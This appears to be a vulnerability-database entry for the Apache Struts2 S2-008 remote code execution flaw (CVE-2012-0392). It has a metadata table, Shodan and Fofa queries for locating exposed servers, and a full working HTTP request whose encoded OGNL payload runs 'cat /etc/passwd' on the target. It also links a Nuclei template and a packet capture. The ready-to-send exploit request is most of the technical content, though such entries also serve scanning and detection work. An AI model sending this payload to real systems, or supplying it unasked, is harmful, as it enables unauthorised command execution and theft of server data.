| Title | Apache Struts2 S2-008 RCE |
|---|---|
| Author | pikpikcu |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability can lead to remote code execution on the affected server. |
| Remediation | Developers should immediately upgrade to at least Struts 2.3.18. |
| CVSS Score | 6.8 |
| EPSS Score | 0.91467 |
| CVE ID | CVE-2012-0392 |
| CWE ID | NVD-CWE-noinfo |
| Shodan Query | http.html:"apache struts"http.title:"struts2 showcase"http.html:"struts problem report" |
| Fofa Query | body="struts problem report"title="struts2 showcase"body="apache struts" |
| Tags | cve cve2012 apache rce struts java edb vuln |
The CookieInterceptor component in Apache Struts before 2.3.1.1 does not use the parameter-name whitelist, which allows remote attackers to execute arbitrary commands via a crafted HTTP Cookie header that triggers Java code execution through a static method.
GET /devmode.action?debug=command&expression=(%23_memberAccess[%22allowStaticMethodAccess%22]%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean(%22false%22)%20%2C%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D%23foo%2C@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%27cat%20/etc/passwd%27).getInputStream())) HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2012/CVE-2012-0392.yaml
🦈 Packet Capture: ⬇️ Download cve-2012-0392.pcap
N/AN/A